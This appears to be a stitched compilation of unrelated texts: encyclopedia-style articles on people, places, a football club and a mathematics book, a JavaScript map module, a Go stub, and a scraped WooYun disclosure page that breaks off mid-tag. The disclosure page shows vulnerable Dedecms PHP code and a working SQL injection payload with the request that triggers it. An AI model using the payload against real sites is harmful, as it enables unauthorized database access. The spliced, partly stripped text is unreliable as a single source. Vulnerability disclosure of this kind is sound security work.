Ole Andres Olsen (28 July 1845 – 29 January 1915) was a Seventh-day Adventist minister and administrator. He was General Conference president of the Seventh-day Adventist church organization globally from 1888 to 1897. Biography Born in Skogen, in Songdalen near Kristiansand, Norway, Olsen emigrated to the United States to Wisconsin at the age of five. By the age of nine his parents had begun to keep the seventh-day Sabbath. He was baptized in 1858. From 1876 to 1877 he attended school at Battle Creek College (now Andrews University). In 1869 the Wisconsin Conference granted him a ministerial license. On 2 June 1873, he was ordained as a minister. The following year he was elected president of the Wisconsin Conference. In 1868, Olsen married Jennie Nelson. His son's were Alfred B. Olsen and Mahlon Ellsworth Olsen. At the 1888 General Conference session he was elected president of the General Conference of Seventh-day Adventists. Olsen was the first non-American-born president of this church organization and this is reflected in the global and culturally sensitive approach he took in his presidency. He was also one of the first individuals to advocate the formation of Union Conferences within the Seventh-day Adventist church. He was not reelected as world church president in 1897 and instead became a missionary in South Africa. In 1901 he was asked to head the work of the Seventh-day Adventist church in Great Britain. Olsen died of a heart attack on 29 January 1915. 1888 - 1897, The Olsen Presidency The 1888 General Conference Session elected Olsen as president. However, he was in Europe at the time and did not take on the presidency until May 1889. The 1889 General Conference session, held in October, gave Olsen the opportunity to bring about significant changes and development and turn the Seventh-day Adventist church into a global Protestant religion. Olsen's objectives included addressing administrative concerns as well as implementing a major shift in church structure, accountability, and practices: Europe: Adventist literature should be translated into the Russian and Spanish languages. There should be more translation of such literature into German. Establish laborers in Turkey, France, Italy, Austria, Holland and Spain. Believers in Scandinavia want, and should have, schools established. Australasia: The Australasian Conference needed a business manager so the leader, Tenny, could do more editing and conference work. Daniells, in New Zealand, needed an assistant. The canvassing work was getting started there and needed to be put on a business footing. South Africa: For South Africa, a Dutch laborer should go back with Wessels to work among the people of that nationality. There should be tracts in the Nguni languages. The United States: The work in the Southern United States needed attention. Olsen believed that canvassing, or book sales, would be the most successful type of work in the early years of the work there. Missions in the big American cities should get special help. The Bible school in Chicago deserved the conference's support. In 1889, three Colleges existed to serve the church: Battle Creek in Michigan, South Lancaster in Massachusetts, and Healdsburg in California. Careful consideration should be given to a college in the Mid-West. Olsen recommended that the work in the United States be divided into districts with each one being under the supervision of a member of the General Conference committee. This district superintendent would plan the institutes, camp-meetings, general meetings and other work for the territory. (Olsen, 1889, p. 8) As the meetings progressed, Olsen's recommendation on this became a reality. Training Institutes: There should be special time-limited schools established for the training of ministers, the teaching of the Scandinavian, French and German languages in the United States. Most of these schools were slated to begin in November 1889. Yet, everything that has been started should be improved upon. Religious Liberty: The recently established National Religious Liberty Association should receive the General Conference Session's endorsement. The GC Session should also develop a plan for circulating Religious Liberty petitions. These initiatives demonstrate Olsen's comprehensive involvement with the world church. See also General Conference of Seventh-day Adventists Seventh-day Adventist Church Seventh-day Adventist theology Seventh-day Adventist eschatology History of the Seventh-day Adventist Church References 1845 births 1915 deaths Seventh-day Adventist administrators Seventh-day Adventist religious workers American Seventh-day Adventist ministers American Seventh-day Adventist missionaries History of the Seventh-day Adventist Church Norwegian Seventh-day Adventists Norwegian emigrants to the United States Andrews University alumni Seventh-day Adventist missionaries in South Africa
Overclass is a recent and pejorative term for the most powerful group in a social hierarchy. Users of the term generally imply excessive and unjust privilege and exploitation of the rest of society. The word is fairly recent: the Oxford English Dictionary included it only in December 2004. But it has been in use since at least 1995. Some writers compare it to the more familiar underclass: The influence of the actions by the overclass have been rigorously studied, particularly with regards to notions of intersections between the overclass and specific races. Most notable of these racial overclasses is the NEWBO, or NEW Black Overclass in America. Perhaps the most commonly agreed-upon "overclass" consists of leaders in international business, finance and the arms trade. See also Lists of billionaires Oligarchy Power elite Ruling class Transnational capitalist class (also see Superclass) Upper class Underclass References Further reading Newsweek cover story on "How the new elite scrambled up the merit ladder—and wants to stay there any way it can." External links Why the Right Is Wrong for America, 1996 To have and to have not, 1995 1995 neologisms Social groups Power (social and political) concepts Political pejoratives
Krishnapuram may refer to places in India: Krishnapuram, Vizianagaram district, Andhra Pradesh Krishnapuram, Krishna district, Andhra Pradesh Krishnapuram, Alappuzha district, Kerala Krishnapuram, Thrissur, Kerala Krishnapuram, Thanjavur district, Tamil Nadu Krishnapuram, Virudhunagar district, Tamil Nadu Krishnapuram - the original name of village Krushnur in Nanded District of Maharashtra
```javascript var hasOwnProperty = Object.prototype.hasOwnProperty module.exports = PseudoMap function PseudoMap(set) { if (!(this instanceof PseudoMap)) // whyyyyyyy throw new TypeError("Constructor PseudoMap requires 'new'") this.clear() if (set) { if ((set instanceof PseudoMap) \|\| (typeof Map === 'function' && set instanceof Map)) set.forEach(function (value, key) { this.set(key, value) }, this) else if (Array.isArray(set)) set.forEach(function (kv) { this.set(kv[0], kv[1]) }, this) else throw new TypeError('invalid argument') } } PseudoMap.prototype.forEach = function (fn, thisp) { thisp = thisp \|\| this Object.keys(this._data).forEach(function (k) { if (k !== 'size') fn.call(thisp, this._data[k].value, this._data[k].key) }, this) } PseudoMap.prototype.has = function (k) { return !!find(this._data, k) } PseudoMap.prototype.get = function (k) { var res = find(this._data, k) return res && res.value } PseudoMap.prototype.set = function (k, v) { set(this._data, k, v) } PseudoMap.prototype.delete = function (k) { var res = find(this._data, k) if (res) { delete this._data[res._index] this._data.size-- } } PseudoMap.prototype.clear = function () { var data = Object.create(null) data.size = 0 Object.defineProperty(this, '_data', { value: data, enumerable: false, configurable: true, writable: false }) } Object.defineProperty(PseudoMap.prototype, 'size', { get: function () { return this._data.size }, set: function (n) { }, enumerable: true, configurable: true }) PseudoMap.prototype.values = PseudoMap.prototype.keys = PseudoMap.prototype.entries = function () { throw new Error('iterators are not implemented in this version') } // Either identical, or both NaN function same(a, b) { return a === b \|\| a !== a && b !== b } function Entry(k, v, i) { this.key = k this.value = v this._index = i } function find(data, k) { for (var i = 0, s = '_' + k, key = s; hasOwnProperty.call(data, key); key = s + i++) { if (same(data[key].key, k)) return data[key] } } function set(data, k, v) { for (var i = 0, s = '_' + k, key = s; hasOwnProperty.call(data, key); key = s + i++) { if (same(data[key].key, k)) { data[key].value = v return } } data.size++ data[key] = new Entry(k, v, key) } ```
Wellworthy Athletic were a works football team based in the New Forest area of Hampshire. The club existed for over 60 years until the loss of their ground in 1988. History Wellworthy Athletic FC were founded in 1927 as the works side of Wellworthy Engineering (manufacturers of automotive and aerospace components). They initially played in the Bournemouth League where they climbed up through the ranks to win promotion to the Hampshire League Division 2 in 1932. Initially, they did well, finishing runners-up in 1932–33 but were relegated after finishing bottom in 1934–35. After a spell playing in the New Forest League, Wellworthy returned to the Hampshire League in 1949 when they were placed in Division 3 West. Initially, the club again did well as they challenged for promotion twice finishing third and as runners-up in 1950–51. Throughout the decade Wellworthy remained a consistent mid-table side, with the main highlight coming when the side reached the Hampshire Intermediate Cup final in 1956–57. However, the early sixties saw a decline in fortunes and after two seasons of struggle, they were relegated in 1960–61 and returned to the Bournemouth League. During 1971 Wellworthy welcomed an Ex-Pompey XI to christen their newly installed floodlights in a game that drew 600 spectators to watch the sharing of eight goals. After many years of re-building, the eighties saw Wellworthy Athletic once again emerge as a strong force. The 1984–85 season was a memorable one as they completed a fantastic double by winning the Bournemouth League and the Pickford Cup, as well as being finalists in the Hampshire Intermediate Cup. These successes were enough for Wellworthy to deservedly return to the Hampshire League Division 3 for the 1985–86 season where they promptly won promotion as runners-up. For the 1986–87 season, the Wessex League was formed (mainly by the top and most ambitious Hampshire League clubs with the best facilities) and Wellworthy were surprisingly elected despite their Ampress Works Ground only meeting the basic requirements. Despite the big step up, they held their own and they did extremely well to finish in a very creditable 7th place. In 1987–88 Wellworthy finished in 15th place, but enjoyed a fine run in the Hampshire Senior Cup when they reached the semi-finals. En route, they surprisingly defeated Waterlooville and Portsmouth Reserves both 2–0, before losing by the same score against eventual winners Gosport Borough. Sadly this was to be their last season. The club suffered a major setback in 1988 when they lost their ground, at same the time league rivals and neighbours Lymington Town were struggling badly so the two clubs decided to join forces, becoming known as AFC Lymington playing at Lymington's Southampton Road home. The move proved to be an instant success as the new club soon proceeded to become a strong force in the Wessex League, winning several league titles and cups. Honours Hampshire League Division 2 Runners-up 1932/33 Hampshire League Division 3 Runners-up 1985/86 Hampshire League Division 3 West Runners-up 1950/51 Bournemouth League Division 1 Champions 1984/85 Hampshire FA Intermediate Cup Finalists 1956/57 and 1984/85 Bournemouth Senior Cup Finalists 1953/54 Bournemouth Pickford Cup Winners 1984/85 New Forest League Champions 1948/49 New Forest League Perkins Charity Cup Winners 1948/49 and 1949/50 Runners-up 1968/69 Records League Famous Players The former Southampton 1976 FA Cup winner David Peach as player-manager and the Hampshire cricket wicket keeper Adrian Aymes both turned out for the club during their Wessex League days. References External links Football Club History Database Defunct football clubs in England Association football clubs established in 1927 Association football clubs disestablished in 1988 1927 establishments in England 1988 disestablishments in England Bournemouth Saturday League Hampshire League Wessex Football League Works association football teams in England
Monte Albergian is a 3,041 m a.s.l. mountain of the Cottian Alps, located in Italy. A battalion of 3rd Alpini Regiment, which during World War I earned a Silver Medal of Military Valor, was named after Monte Albergian. Etymology The name Albergian could come from the ancient Celtic population of the Egyans (in Italian Egidini) and could mean High Egyans' mountain (Alberg-Egyan) in their language. Another theory link the name of the mountain the Janus, a Roman solar deity. Geography The mountain is located on a brief ridge heading North which originates from the water divide between Val Chisone and Valle Germanasca. Going South an unnamed saddle at 2,906 m divides Monte Albergian from Monte Gran Miuls (2,974 m a.s.l.), the latter standing on the Germanasca/Chisone water divide. Administratively the eastern face of the Albergian belongs to the Fenestrelle municipality (comune) and the western one to Pragelato municipality, both in the Metropolitan City of Turin. In clear days its summit, marked by a cross, offers a great view of Western Alps. SOIUSA classification According to SOIUSA (International Standardized Mountain Subdivision of the Alps) the mountain can be classified in the following way: main part = Western Alps major sector = North Western Alps section = Cottian Alps subsection = Alpi del Monginevro supergroup = Catena Bucie-Grand Queyron-Orsiera group = Gruppo Queyron-Albergian-Sestrière subgroup = Sottogruppo Ghinivert-Albergian code = I/A-4.II-A.2.b Access to the summit The usual route to Monte Albergian is the waymarked footpath starting from Soucheres Hautes (1,518 m), a frazione (village) of Pragelato municipality. While long (more than 1,500 metres of vertical drop) the route does not require alpine skills. In the Italian scale of hiking difficulty is rated E (Escursionisti, namely suitable for normal hikers). On the WSW ridge of Albergian was described a climbing route of F+ grade. References Photo gallery Maps Istituto Geografico Militare (IGM) official maps of Italy, 1:25.000 and 1:100.000 scale, on-line version Istituto Geografico Centrale (I.G.C.) - Carta dei sentieri e dei rifugi scala 1:50.000 n. 1 Valli di Susa Chisone e Germanasca External links Alpine three-thousanders Mountains of the Alps Mountains of Piedmont Three-thousanders of Italy
```go package util // import "github.com/docker/infrakit/pkg/controller/group/util" // RunStop is an operation that may be Run (synchronously) and interrupted by calling Stop. type RunStop interface { Run() Stop() } ```
Louise Harrison McCraw (February 1893 – January 25, 1975) was an American writer and philanthropist. She was the founding director of the Braille Circulating Library of Richmond, Virginia. McCraw was a native of Buckingham County, Virginia, the daughter of Emmett and Bettie McCraw. As a child she wanted to be a writer, and by eleven she had begun sending her work to the children's page of the Richmond Times-Dispatch; several of her stories were published. She graduated from the Women's College of Richmond in 1911 and moved home to Buckingham County to teach school. A devout Presbyterian, she returned to Richmond in the 1920s to become secretary of the Excelsior Band. She lived with her sister Bessie in a Richmond boarding house at this time. McCraw was a great admirer of the work of Presbyterian writer James H. McConkey, and after she heard him speak in Richmond she suggested that he publish his work in braille. Together the couple established the Braille Circulating Library in 1925; its first headquarters were in McCraw's rented room. The library was funded entirely by private donations and consisted mainly of evangelical Christian literature. By 1951 McCraw was sending books, free, to nearly 1,800 borrowers both in the United States and in eighteen countries. McCraw began publishing novels in 1936. All of her fiction dealt with Christian themes; she also penned a biography of McConkey. She was named secretary emerita of the Braille Circulating Library in 1969 after her retirement. McCraw was named one of the Virginia Women in History by the Library of Virginia in 2017. List of works 1934: Starward 1936: Hearts That Understand 1937: Glorious Triumph 1938: Blue Skies 1939: with William McConkey, James H. McConkey, A Man of God 1940: Shining After Rain 1941: Does God Answer Prayer? 1942: Nest Among the Stars 1943: On the Wings of the Morning 1945: Not All That Glitters 1946: Crystal Sea 1952: The Honor of Preston Reed 1961: My Heart’s at Liberty 1965: It Shall be Forever References 1893 births 1975 deaths American women novelists American women philanthropists 20th-century American novelists 20th-century American women writers 20th-century Presbyterians American Presbyterians People from Buckingham County, Virginia Writers from Richmond, Virginia American librarians American women librarians Novelists from Virginia 20th-century American philanthropists 20th-century women philanthropists
Solving the Riddle of Phyllotaxis: Why the Fibonacci Numbers and the Golden Ratio Occur in Plants is a book on the mathematics of plant structure, and in particular on phyllotaxis, the arrangement of leaves on plant stems. It was written by Irving Adler, and published in 2012 by World Scientific. The Basic Library List Committee of the Mathematical Association of America has suggested its inclusion in undergraduate mathematics libraries. Background Irving Adler (1913–2012) was known as a peace protester, schoolteacher, and children's science book author before, in 1961, earning a doctorate in abstract algebra. Even later in his life, Adler began working on phyllotaxis, the mathematical structure of leaves on plant stems. This book, which collects several of his papers on the subject previously published in journals and edited volumes, is the last of his 85 books to be published before his death. Topics Different plants arrange their leaves differently, for instance on alternating sides of the plant stem, or rotated from each other by other fractions of a full rotation between consecutive leaves. In these patterns, rotations by 1/2 of an angle, 1/3 of an angle, 3/8 of an angle, or 5/8 of an angle are common, and it does not appear to be coincidental that the numerators and denominators of these fractions are all Fibonacci numbers. Higher Fibonacci numbers often appear in the number of spiral arms in the spiraling patterns of sunflower seed heads, or the helical patterns of pineapple cells. The theme of Adler's work in this area, in the papers reproduced in this volume, was to find a mathematical model for plant development that would explain these patterns and the occurrence of the Fibonacci numbers and the golden ratio within them. The papers are arranged chronologically; they include four journal papers from the 1970s, another from the late 1990s, and a preface and book chapter also from the 1990s. Among them, the first is the longest, and reviewer Adhemar Bultheel calls it "the most fundamental"; it uses the idea of "contact pressure" to cause plant parts to maximize their distance from each other and maintain a consistent angle of divergence from each other, and makes connections with the mathematical theories of circle packing and space-filling curves. Subsequent papers refine this theory, make additional connections for instance to the theory of continued fractions, and provide a more general overview. Interspersed with the theoretical results in this area are historical asides discussing, among others, the work on phyllotaxis of Theophrastus (the first to study phyllotaxis), Leonardo da Vinci (the first to apply mathematics to phyllotaxis), Johannes Kepler (the first to recognize the importance of the Fibonacci numbers to phyllotaxis), and later naturalists and mathematicians. Audience and reception Reviewer Peter Ruane found the book gripping, writing that it can be read by a mathematically inclined reader with no background knowledge in phyllotaxis. He suggests, however, that it might be easier to read the papers in the reverse of their chronological order, as the broader overview papers were written later in this sequence. And Yuri V. Rogovchenko calls its publication "a thoughtful tribute to Dr. Adler’s multi-faceted career as a researcher, educator, political activist, and author". References Plant morphology Fibonacci numbers Mathematics books 2012 non-fiction books Mathematical Association of America
Małgorzata Czajczyńska (born 19 July 1981 in Gorzów Wielkopolski) is a Polish sprint canoer who competed in the mid-2000s. She won two silver medals at the ICF Canoe Sprint World Championships (K-4 200 m: 2005, K-4 500 m: 2003). Czajczyńska also finished fourth in the K-4 500 m event at the 2004 Summer Olympics in Athens. References Sports-reference.com profile 1981 births Canoeists at the 2004 Summer Olympics Living people Olympic canoeists for Poland Polish female canoeists Sportspeople from Gorzów Wielkopolski ICF Canoe Sprint World Championships medalists in kayak 21st-century Polish sportswomen
Swago Creek is a stream in the U.S. state of West Virginia. Swago Creek derives its name by shortening Oswego. See also List of rivers of West Virginia References Rivers of Pocahontas County, West Virginia Rivers of West Virginia
Edward Lowe or Eddie Lowe may refer to: Edward Lowe (composer) (c. 1610–1682), organist, composer and Oxford professor of music Edward Low or Edward Lowe (1690–1724), English pirate Edward Löwe (1794–1880), also Loewe or Lowe, English chess master Edward Clarke Lowe (1823–1912), English educator Edward Joseph Lowe (1825–1900), English botanist Edward T. Lowe Jr. (1880-1973), American film producer & writer Ed Lowe (businessman) (1920–1995), American businessman and inventor of cat litter Eddie Lowe (footballer) (1925–2009), English football player and manager Ed Lowe (journalist) (1946–2011), American newspaper columnist Eddie Lowe (Canadian football) (born 1960), American politician and former linebacker in the Canadian Football League See also Ted Lowe (1920–2011), English snooker commentator
Dennis Edmonton (born Dennis Eugene McCrohan; 21 April 1943), also known by the stage name Mars Bonfire, is a Canadian rock musician and songwriter, best known for writing the hit song "Born to Be Wild" for Steppenwolf. Career Born Dennis Eugene McCrohan, he and his brother Jerry changed their surnames to Edmonton in the early 1960s. The brothers were part of the band the Sparrows, which later evolved into Steppenwolf. Another member of the Sparrows was Bruce Palmer, who later became a member of Buffalo Springfield. Bonfire embarked on a solo career, while his brother Jerry became the drummer for Steppenwolf. After leaving the band, he often collaborated with Kim Fowley, co-writing and recording on the recordings of Fowley and artists associated with Fowley. On 22 June 2015, Bonfire was awarded the Cultural Impact Award by SOCAN at the 2015 SOCAN Awards in Toronto for the song "Born to be Wild". Personal life Bonfire was a prolific hiker in Southern California for many years. He has completed the Hundred Peaks Section list 25 times. He was noted by the Los Angeles Times for his "affability and flexibility" as a hike leader. Discography Songs by Mars Bonfire that were recorded by Steppenwolf include: "Born to Be Wild" (Steppenwolf, 1968) "Faster Than The Speed of Life" (The Second, 1968) "Ride with Me" (For Ladies Only, 1971) "Tenderness" (For Ladies Only, 1971) "The Night Time's for You" (co-write w/Morgan Cavett, For Ladies Only, 1971) "Caroline (Are You Ready for the Outlaw World)" (Hour of the Wolf, 1975) Albums: Mars Bonfire (1968) Faster Than the Speed of Life (1969) References External links Canadian male songwriters Canadian rock guitarists Canadian male guitarists 1943 births Living people Musicians from Oshawa Steppenwolf (band)
Vajifdar is a surname. Notable people with the surname include: Hormasji Vajifdar (1894–1961), Indian cricketer Shirin Vajifdar (died 2017), Indian classical dancer
This is a list of islands of Djibouti: Island in the Red Sea Doumeira Islands in the Bab-el-Mandeb Seven Brothers Siyyan Himar Rocher Siyyan Islands in the Gulf of Tadjoura Maskali Moucha Abou Maya Warramous See also Geography of Djibouti Islands Djibouti
Eleftheroupoli (, katharevousa: Ελευθερούπολις - Eleftheroupolis, until 1929 Πράβι - Pravi, ; ) is a town and a former municipality in the Kavala regional unit, East Macedonia and Thrace, Greece. Since the 2011 local government reform it is part of the municipality Pangaio, of which it is the seat and a municipal unit. The municipal unit has an area of 126.974 km2. At the 2011 census, the municipal unit's population was 9,492, the town's population was 4,360. . Sister cities Antony, France References External links pravi.gr (in Greek) Populated places in Kavala (regional unit) Pangaio
The Argentine presidential election of 1910 was held on 13 March to choose the president of Argentina and 63 of 120 seats in the Chamber of Deputies. Roque Sáenz Peña was elected president. Background The ailing President Quintana's death in 1906 was the beginning of the end of Roca's dominance of national politics and policy. Moderate opposition to the PAN had greatly eroded its majorities in Congress, the very day the president died, and within months, Bartolomé Mitre and Carlos Pellegrini were dead, as well. President José Figueroa Alcorta defied Roca by signing many of Congressman Palacios' labor law reform bills and by 1909, Figueroa Alcorta was poised to nominate the reformist who had been turned away in 1892: Roque Sáenz Peña. Other prominent conservatives, such as La Nación publisher Emilio Mitre and Buenos Aires Governor Marcelino Ugarte, presented token candidacies. Sáenz Peña, who was the Ambassador to Italy and did not campaign, was selected unanimously on April 12, 1910. He promptly began negotiations with UCR leader Hipólito Yrigoyen for the introduction of legislation providing for universal male suffrage and the secret ballot. The president struggled over the bill with a still-conservative Congress, and on 10 February 1912, the Senate narrowly passed Law 8871. Providing for free and fair elections, as well as for the country's first uniform system of voter registration, the Sáenz Peña Law brought the prolonged "vote song" to an end. Results President Results by Province Chamber of Deputies National Autonomist Party and its allies won all 63 seats in the election. Notes References 1910 elections in South America 1910 in Argentina 1910 Elections in Argentina
Eritettix simplex, known generally as the velvet-striped grasshopper or velvet-striped locust, is a species of slant-faced grasshopper in the family Acrididae. It is found in Central America and North America. References Further reading Gomphocerinae Articles created by Qbugbot Insects described in 1869
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\/>","NUMBER":"\u7684\u6b63\u6574\u6570","RATING_SUCCESS":"\u8bc4\u5206\u6210\u529f","RATING_BUGS_DONE":"\u5df2\u5bf9\u6b64\u6f0f\u6d1e\u8fdb\u884c\u8fc7\u8bc4\u5206","RATING_BUGS_SELF":"\u4e0d\u80fd\u5bf9\u81ea\u5df1\u53d1\u5e03\u7684\u6f0f\u6d1e\u8fdb\u884c\u8bc4\u5206","RATING_SUBMIT_CANCLE":"\u53d6\u6d88\u63d0\u4ea4\u8bc4\u5206","RATING_SUBMIT":"\u63d0\u4ea4\u6211\u7684\u8bc4\u5206","RATING_SUBMIT_CHECK":"\u8bf7\u786e\u5b9a\u6bcf\u4e00\u9879\u90fd\u9009\u62e9\u4e86\u8bc4\u5206","RATING_CONFIRM":"\u786e\u5b9a\u63d0\u4ea4\u5bf9\u6b64\u5382\u5546\u7684\u8bc4\u5206\u5417\uff1f","RATING_LOGIN":"\u53ea\u6709\u767b\u5f55\u7684\u767d\u5e3d\u5b50\u624d\u80fd\u8bc4\u5206","RATING_DONE":"\u5df2\u7ecf\u8bc4\u8fc7\u5206\u4e86","WOOYUN_CORPS":"\u4e4c\u4e91\u5382\u5546","MARST_IMAGE":"\u5bf9\u56fe\u7247\u6253\u7801","FEEDBACK_LINK_NULL":"\u94fe\u63a5\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_LINK_ERROR":"\u8bf7\u4e66\u5199\u6b63\u786e\u7684\u94fe\u63a5\u5730\u5740\uff01","FEEDBACK_CONTENT_NULL":"\u95ee\u9898\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_ALLOW_LIMIT":"\u534a\u5c0f\u65f6\u53ea\u5141\u8bb8\u53cd\u9988\u4e00\u6b21","TOP_RANK":"\u6392\u540d","TOP_BUG_TITLE":"\u6f0f\u6d1e\u6807\u9898","TOP_RANK_NONE":"\u6682\u65e0\u6392\u540d","TOP_BUGS_GOOD":"\u4f18\u8d28\u6f0f\u6d1e\u6570","NICKNAME":"\u6635\u79f0","LEVEL":"\u7b49\u7ea7","VALUE":"\u503c","EDITOR_INSERT_PIC":"\u63d2\u5165\u56fe\u7247","EDITOR_PIC_ADDR":"\u5730\u5740\uff1a","EDITOR_CONFIRM":"\u786e\u5b9a","EDITOR_PIC_NULL":"\u8bf7\u4e0a\u4f20\u56fe\u7247\u6216\u586b\u5199\u56fe\u7247\u5730\u5740","EDITOR_INSERT_VIDIO":"\u63d2\u5165\u89c6\u9891","EDITOR_VIDIO_ADDR":"\u89c6\u9891\u5730\u5740\uff1a","EDITOR_VIDIO_NULL":"\u8bf7\u586b\u5199\u89c6\u9891\u5730\u5740(.swf)","EDITOR_VIDIO_TYPE":"\u76ee\u524d\u4ec5\u652f\u6301.swf\u683c\u5f0f","PIC_SELECT":"\u8bf7\u9009\u62e9\u5f85\u4e0a\u4f20\u7684\u56fe\u7247","PIC_TYPE_IS":"\u56fe\u7247\u7c7b\u578b\u4e3a","UPLOAD":"\u4e0a\u4f20","RANK_AVG":"\u6f0f\u6d1e\u5e73\u5747"}; $(function(){ function getParamsOfShareWindow(width, height) { return ['toolbar=0,status=0,resizable=1,width=' + width + ',height=' + height + ',left=',(screen.width-width)/2,',top=',(screen.height-height)/2].join(''); } }); function errimg(img){ tmp=img.src; nimg=tmp.replace("path_to_url","path_to_url"); img.src=nimg; $(img).parent().attr('href',nimg); img.onerror=null; } function AttendBug(id){ $.get('/ajaxdo.php',{module:'attendbug',id:id,rid:Math.random(),token:$("#token").val()},function(re){ if(re==1){ $("#attention_num").html(parseInt($("#attention_num").html())+1); $("#attend_action").html(''+_LANGJS.ATTENTION_DONE+' <a class="btn" href="javascript:void(0)" onclick="AttendCancel('+id+')">'+_LANGJS.ATTENTION_CANCEL+'</a></span>'); }else if(re==2){ alert(_LANGJS.LOGIN_FIRST); }else if(re==3){ alert(_LANGJS.ATTENTION_BUG_DONE); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } function AttendCancel(id){ if(confirm(_LANGJS.ATTENTION_BUG_CONFIRM+"?")){ $.get('/ajaxdo.php',{module:'attendcancel',id:id,rid:Math.random(),token:$("#token").val()},function(re){ if(re==1){ $("#attention_num").html(parseInt($("#attention_num").html())-1); $("#attend_action").html('<a class="btn" href="javascript:void(0)" onclick="AttendBug('+id+')">'+_LANGJS.ATTENTION_BUG+'</a></span>'); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } } function CollectBug(id,token){ $.get('/ajaxdo.php',{'module':'collect','id':id,'token':token,'rid':Math.random()},function(re){ if(re==1){ $("#collection_num").html(parseInt($("#collection_num").html())+1); $(".btn-fav").removeClass("fav-add"); $(".btn-fav").addClass("fav-cancel"); $(".btn-fav").unbind(); $(".btn-fav").click(function(){ CollectCancel(id,token); }); }else if(re==2){ alert(_LANGJS.LOGIN_FIRST); }else if(re==3){ alert(_LANGJS.COLLECTION_BUG_DONE); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } function CollectCancel(id,token){ if(confirm(_LANGJS.COLLECTION_BUG_CONFIRM+"?")){ $.get('/ajaxdo.php',{'module':'collectcancel','id':id,'token':token,'rid':Math.random()},function(re){ if(re==1){ $("#collection_num").html(parseInt($("#collection_num").html())-1); $(".btn-fav").removeClass("fav-cancel"); $(".btn-fav").addClass("fav-add"); $(".btn-fav").unbind(); $(".btn-fav").click(function(){ CollectBug(id,token); }); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } } </script> <div class="content"> <input type="hidden" id="token" style="display:none" value="" /> <h2> <span style="margin:0 0 0 580px; float:right; position:absolute; font-size:14px; font-weight:normal">(<span id="attention_num">13</span>) <span id="attend_action"> <a class="btn" href="javascript:void(0)" onclick="AttendBug(48913)"></a></span> </span></h2> <h3> <a href="wooyun-2014-048913">WooYun-2014-48913</a> <input id="fbid" type="hidden" value="48913"> </h3> <h3 class='wybug_title'> Dedecms 8() <img src="path_to_url" alt="" class="credit"> </h3> <h3 class='wybug_corp'> <a href="path_to_url"> Dedecms </a> </h3> <h3 class='wybug_author'> <a href="path_to_url">Matt</a><img height="12" width="12" style="vertical-align:-2px;margin-left:2px;" src="path_to_url" alt="" /></h3> <h3 class='wybug_date'> 2014-01-14 18:25</h3> <h3 class='wybug_open_date'> 2014-04-14 18:26</h3> <h3 class='wybug_type'> SQL</h3> <h3 class='wybug_level'> </h3> <h3>Rank 20</h3> <h3 class='wybug_status'> </h3> <h3> <a href="path_to_url">path_to_url help@wooyun.org</h3> <h3>Tags </h3> <h3> <!-- Baidu Button BEGIN --> <div id="share"> <div style="float:right; margin-right:100px;font-size:12px"> <span class="fav-num"><a id="collection_num">1</a></span> <a style="text-decoration:none; font-size:12px" href="javascript:void(0)" class="fav-add btn-fav"></a> <script type="text/javascript"> var token=""; var id="48913"; $(".btn-fav").click(function(){ CollectBug(id,token); }); </script> </div> <span style="float:left;"></span> <div id="bdshare" class="bdshare_b" style="line-height: 12px;"><img src="path_to_url" /> <a class="shareCount"></a> </div> </div> <!-- Baidu Button END --> </h3> <hr align="center"/> <h2></h2> <h3 class="detailTitle"></h3> <p class="detail" style="padding-bottom:0"> </p> <p class="detail wybug_open_status"> 2014-01-14 <br/> 2014-01-14 <br/> 2014-01-17 <a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><br/> 2014-03-10 <br/> 2014-03-20 <br/> 2014-03-30 <br/> 2014-04-14 <br/> </p> <h3 class="detailTitle"></h3> <p class="detail wybug_description">Dedecms 8()<br /> <br /> </p> <h3 class="detailTitle"></h3> <div class='wybug_detail'> <p class="detail"></p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>/plus/stow.php<br /> if($type=='')<br /> {<br /> $row = $dsql->GetOne("SELECT * FROM `#@__member_stow` WHERE aid='$aid' <br /> <br /> AND mid='{$ml->M_ID}'");<br /> if(!is_array($row))<br /> {<br /> $dsql->ExecuteNoneQuery("INSERT INTO `#@__member_stow`<br /> <br /> (mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".addslashes<br /> <br /> ($arctitle)."','$addtime'); ");<br /> } else {<br /> ShowMsg('<br /> <br /> ','javascript:window.close();');<br /> exit();<br /> }<br /> } else {<br /> $row = $dsql->GetOne("SELECT * FROM `#@__member_stow` WHERE <br /> <br /> type='$type' AND (aid='$aid' AND mid='{$ml->M_ID}')");<br /> if(!is_array($row))<br /> {<br /> $dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`<br /> <br /> (mid,aid,title,addtime,type) VALUES ('".$ml-<br /> <br /> >M_ID."','$aid','$title','$addtime','$type'); ");//TITLE<br /> <br /> <br /> }</code></pre></fieldset><p class='detail'> </p> </div> <h3 class="detailTitle"></h3> <div class='wybug_poc'> <p class="detail">soeasy <br /> <br /> .../dede/member/content_list.php?channelid=1 <br /> <br /> 1111',1,2),(8,136,user(),1,2),(1,2,'3<br /> <br /> <br /> <br /> <br /> <br /> ID<br /> <br /> .../dede/plus/stow.php?aid=137&type=11%27 <br /> <br /> 137ID<br /> <br /> </p><p class="detail usemasaic"><a href="../upload/201401/14182236cb067ecb3f3fd5fc6b7dd1f4a494bca7.png" target="_blank"><img src="../upload/201401/14182236cb067ecb3f3fd5fc6b7dd1f4a494bca7.png" alt="QQ20140114181557.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"></p><p class="detail usemasaic"><a href="../upload/201401/14182244432d1041d0ac6c75bd53583cbc2cd96f.png" target="_blank"><img src="../upload/201401/14182244432d1041d0ac6c75bd53583cbc2cd96f.png" alt="3.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"></p><p class="detail usemasaic"><a href="../upload/201401/141823009a981167eb1db812b450e76b94c2eed8.png" target="_blank"><img src="../upload/201401/141823009a981167eb1db812b450e76b94c2eed8.png" alt="2.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br /> <br /> </p><p class="detail usemasaic"><a href="../upload/201401/1418233608f553838217e3da757a16ce274ce566.png" target="_blank"><img 